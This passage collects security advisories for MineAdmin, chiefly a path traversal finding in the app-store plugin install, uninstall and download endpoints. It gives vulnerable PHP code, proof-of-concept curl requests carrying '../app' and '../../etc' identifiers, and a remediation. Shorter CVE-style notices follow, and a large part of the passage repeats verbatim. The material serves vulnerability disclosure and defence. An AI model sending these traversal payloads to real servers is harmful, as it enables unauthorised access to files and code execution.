        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

• Path traversal enables reading directory existence outside the plugin directory
• Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
• Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
• Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

A weakness has been identified in MineAdmin 1.x/2.x. This impacts the function refresh of the file /system/refresh of the component JWT Token Handler. This manipulation causes insufficient verification of data authenticity. It is possible to initiate the attack remotely. The attack is considered to have high complexity. The exploitability is said to be difficult. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

A security vulnerability has been detected in MineAdmin 1.x/2.x. Affected is an unknown function of the file /system/getFileInfoById. Such manipulation of the argument ID leads to information disclosure. It is possible to launch the attack remotely. The attack requires a high level of complexity. The exploitability is told to be difficult. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

A security flaw has been discovered in MineAdmin 1.x/2.x. This affects an unknown function of the component Swagger. The manipulation results in information disclosure. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

A vulnerability was identified in MineAdmin 1.x/2.x. The impacted element is an unknown function of the file /system/cache/view of the component View Interface. The manipulation leads to improper authorization. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

Insecure permissions in the scheduled tasks feature of MineAdmin v3.x allows attackers to execute arbitrary commands and execute a full account takeover.

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

• Path traversal enables reading directory existence outside the plugin directory
• Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
• Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
• Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

A weakness has been identified in MineAdmin 1.x/2.x. This impacts the function refresh of the file /system/refresh of the component JWT Token Handler. This manipulation causes insufficient verification of data authenticity. It is possible to initiate the attack remotely. The attack is considered to have high complexity. The exploitability is said to be difficult. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

A security vulnerability has been detected in MineAdmin 1.x/2.x. Affected is an unknown function of the file /system/getFileInfoById. Such manipulation of the argument ID leads to information disclosure. It is possible to launch the attack remotely. The attack requires a high level of complexity. The exploitability is told to be difficult. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.